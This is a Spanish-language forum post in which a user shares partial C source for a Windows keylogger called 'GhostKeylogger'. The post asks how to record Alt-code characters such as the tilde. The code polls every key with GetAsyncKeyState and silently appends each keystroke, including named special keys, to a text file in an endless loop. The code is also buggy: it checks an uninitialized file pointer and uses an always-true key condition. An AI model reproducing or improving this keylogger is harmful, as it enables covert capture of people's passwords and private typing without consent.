Foros del Web » Programación para mayores de 30 ;) » C/C++ »

Keylogg Avanzado

Estas en el tema de Keylogg Avanzado en el foro de C/C++ en Foros del Web. Hola ! Esta es una pequeña porción ejemplo con la que estube experimentando. En este caso solamente estoy tratando las partes que me traen "problema" ...
  #1 (permalink)  
Antiguo 24/10/2014, 13:50
 
Fecha de Ingreso: octubre-2014
Mensajes: 14
Antigüedad: 9 años, 6 meses
Puntos: 0
Keylogg Avanzado

Hola !

Esta es una pequeña porción ejemplo con la que estube experimentando.

En este caso solamente estoy tratando las partes que me traen "problema" y aclaro que no es el código completo.

Lo que quiero hacer es que cuando uno apriete la tecla Alt + 999 por ejemplo en el archivo de texto se guarde [ALT]+[numero 9] [numero 9] [numero 9]

Sin embargo, no solo debe tener esa salida, en los casos como Alt+1 (☺) tambien debe imprimirse el caracter del código ascci que da resultado de la combinacion de teclas (☺).

El programa tambien debe imprimir el copete de la ñ (~) que se obtiene realizando (Ctrl+Alt+4 dos veces).

Como ya utilizé un for que va desde 0 a 255 para obtener la salida [Alt]+[numero]
Estoy limitado y no puedo mas que guardar los caracteres 1 por 1.
por ejemplo si se preciona alt && 1 entonces hacer ☺.

El problema es que nose como imprimir el ☺. Aparece una salida muy extraña. Tiene algunos errores.


Código:
#include <windows.h>
#include <stdio.h>
#include <ctype.h>
#define VK_4 0x34
#define VK_1 0x31

void GhostKeylogger(FILE *txt);
byte teclas[256];
char teclasespeciales[32]; 


void GhostKeylogger(FILE *txt)
{
    for(int i=0; i<255; i++){
		
			if(GetAsyncKeyState(i)==-32767){  
				
		    
            *teclasespeciales = 0;
            if(ToAscii(i, MapVirtualKey(i, 0), teclas, (LPWORD)teclasespeciales, 0) == 1)
            fprintf(txt, "%c", *teclasespeciales);
            else if(GetKeyNameText((MapVirtualKey(i, 0) << 16), teclasespeciales, 32) > 0)
            fprintf(txt, "[%s]", teclasespeciales); 
            
               }
            if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
           		{
				if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
				 {
				 fprintf(txt,"~"); break;
				}}
		   	if(GetAsyncKeyState(VK_MENU)&&(VK_1))
		   	{
					
					fprintf(txt,"%c",toascii(58)); break;   //ASCII ?????
					}
			}
}

int main(){
	
	FILE *txt;
	 while(TRUE){   
       if(txt != NULL){
       FILE *txt = fopen("Experimento.txt", "a+");
       Sleep(30);/*to prevent high usage*/
       GhostKeylogger(txt);
       fclose(txt);
    }
   }
}

Etiquetas: avanzado, char, clase, int, programa
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 12:58.